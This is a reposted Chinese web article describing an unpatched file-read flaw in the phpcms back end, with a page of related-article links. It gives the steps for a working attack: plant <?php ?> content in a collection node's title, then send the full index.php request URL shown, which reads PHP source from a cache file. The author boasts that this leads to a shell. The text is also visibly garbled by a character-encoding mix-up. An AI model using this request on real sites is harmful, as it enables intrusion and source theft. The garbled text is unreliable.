phpcms后臺(tái)普通用戶讀文件0day的分析以及修復(fù)方法
來源：本站原創(chuàng)|時(shí)間：2020-01-10|欄目：phpcms|點(diǎn)擊： 次
后臺(tái)采集里設(shè)置采集模塊中title 或者其他的內(nèi)容都可以 設(shè)置為<?php[內(nèi)容]?>
然后用下面的代碼就可以讀取到php的源了。
index.php?clientid=name&url=./caches/caches_scan/caches_data/scan_bad_file.cache.php&_=1344175735957&m=collection&c=node&a=public_test_content&nodeid=1&pc_hash=xxxx
拿到源基本拿到shell不難了。具體如何利用看大家自己了。（別跟我說只會(huì)讀數(shù)據(jù)庫連接文件，并且還不能連），反正我是可以拿到shell。
修復(fù)：已提交給官方，等待補(bǔ)丁
上一篇：phpcms V9 常用文件目錄結(jié)構(gòu)
欄 目：phpcms
下一篇：Phpcms V9 調(diào)用全站文章排行的解決方法
本文標(biāo)題：phpcms后臺(tái)普通用戶讀文件0day的分析以及修復(fù)方法
本文地址：http://www.jygsgssxh.com/a1/phpcms/9901.html
您可能感興趣的文章
- 01-10phpcms常見問題解答
- 01-10phpcms語法規(guī)則
- 01-10PHPCMS網(wǎng)站轉(zhuǎn)移空間教程
- 01-10PHPCMS2008 SP4 心情排行指數(shù)不顯示的解決辦法
- 01-10phpcms頻道首頁調(diào)用所有一級(jí)欄目及二級(jí)欄目
- 01-10phpcms標(biāo)簽?zāi)０寮皩ｎ}模板的制作
- 01-10PHPCMS系統(tǒng)自帶標(biāo)簽說明
- 01-10為PHPCMS 2008 編輯器增加常用中文字體方法
- 01-10PHPcms 2008 注冊選擇模型關(guān)閉后，注冊不能自動(dòng)登錄的問題
- 01-10phpcms模仿QQ和MSN消息提示的效果
閱讀排行
本欄相關(guān)
- 01-10phpcms常見問題解答
- 01-10phpcms語法規(guī)則
- 01-10PHPCMS2008 SP4 心情排行指數(shù)不顯示的解
- 01-10PHPCMS網(wǎng)站轉(zhuǎn)移空間教程
- 01-10PHPCMS系統(tǒng)自帶標(biāo)簽說明
- 01-10phpcms標(biāo)簽?zāi)０寮皩ｎ}模板的制作
- 01-10phpcms頻道首頁調(diào)用所有一級(jí)欄目及二
- 01-10PHPcms 2008 注冊選擇模型關(guān)閉后，注冊
- 01-10為PHPCMS 2008 編輯器增加常用中文字體
- 01-10phpcms模仿QQ和MSN消息提示的效果
隨機(jī)閱讀
- 01-11Mac OSX 打開原生自帶讀寫NTFS功能(圖文
- 01-10使用C語言求解撲克牌的順子及n個(gè)骰子
- 08-05織夢dedecms什么時(shí)候用欄目交叉功能？
- 01-10C#中split用法實(shí)例總結(jié)
- 01-11ajax實(shí)現(xiàn)頁面的局部加載
- 01-10delphi制作wav文件的方法
- 01-10SublimeText編譯C開發(fā)環(huán)境設(shè)置
- 08-05dedecms(織夢)副欄目數(shù)量限制代碼修改
- 08-05DEDE織夢data目錄下的sessions文件夾有什
- 04-02jquery與jsp,用jquery